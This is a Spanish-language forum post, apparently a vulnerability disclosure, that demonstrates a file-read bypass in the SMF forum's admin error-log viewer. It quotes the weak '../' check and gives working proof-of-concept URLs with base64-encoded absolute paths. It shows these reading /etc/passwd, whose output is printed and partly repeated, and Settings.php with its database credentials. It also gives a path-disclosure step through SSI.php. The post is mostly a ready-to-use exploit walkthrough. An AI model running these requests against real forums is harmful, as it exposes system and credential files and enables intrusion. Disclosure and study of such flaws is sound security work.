http://whk.drawcoders.net/index.php/topic,2792.0.html
Otros dicen que no sirve para nada o que el impacto es nulo.
Pues acá les voy a dejar una demosración:
Hace unos minutos encontré otra falla de seguridad en el panel de administración, especificamente en el lector de archivos de errores.
Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:
http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog
Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:
Código
// Make sure the file we are looking for is one they are allowed to look at if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:
Código:
strpos($file, '../')
Ahora, vemos que no necesitamos el string "../" para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.
La pueba de concepto:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=
donde file es /etc/passwd en base64:
Citar
1: root:x:0:0:root:/root:/bin/bash
2: bin:x:1:1:bin:/bin:/sbin/nologin
3: daemon:x:2:2:daemon:/sbin:/sbin/nologin
4: adm:x:3:4:adm:/var/adm:/sbin/nologin
5: lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6: sync:x:5:0:sync:/sbin:/bin/sync
7: shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8: halt:x:7:0:halt:/sbin:/sbin/halt
9: mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10: news:x:9:13:news:/etc/news:
11: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12: operator:x:11:0:operator:/root:/sbin/nologin
13: games:x:12:100:games:/usr/games:/sbin/nologin
14: gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
15: ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
16: nobody:x:99:99:Nobody:/:/sbin/nologin
17: mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
18: smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
19: apache:x:48:48:Apache:/var/www:/sbin/nologin
20: nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
2: bin:x:1:1:bin:/bin:/sbin/nologin
3: daemon:x:2:2:daemon:/sbin:/sbin/nologin
4: adm:x:3:4:adm:/var/adm:/sbin/nologin
5: lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6: sync:x:5:0:sync:/sbin:/bin/sync
7: shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8: halt:x:7:0:halt:/sbin:/sbin/halt
9: mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10: news:x:9:13:news:/etc/news:
11: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12: operator:x:11:0:operator:/root:/sbin/nologin
13: games:x:12:100:games:/usr/games:/sbin/nologin
14: gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
15: ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
16: nobody:x:99:99:Nobody:/:/sbin/nologin
17: mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
18: smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
19: apache:x:48:48:Apache:/var/www:/sbin/nologin
20: nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
Ahora... que pasa si queremos obtener un archivo oculto del foro? digamos la conexión de MySQL o la contraseña de un IRC?
Lo primero que necesitamos es saber cual es la ruta absoluta asi que hacemos lo siguiente....
Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
Obtenemos la ruta:
Citar<blockquote>Warning: Missing argument 1 for ssi_fetchPosts() in /home/spadmin/public_html/SSI.php on line 316</blockquote>
Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=
Donde "L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=" es igual a "/home/spadmin/public_html/Settings.php"
De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.
Saludos.
Fuente:
http://whk.drawcoders.net/index.php/topic,2805.0.html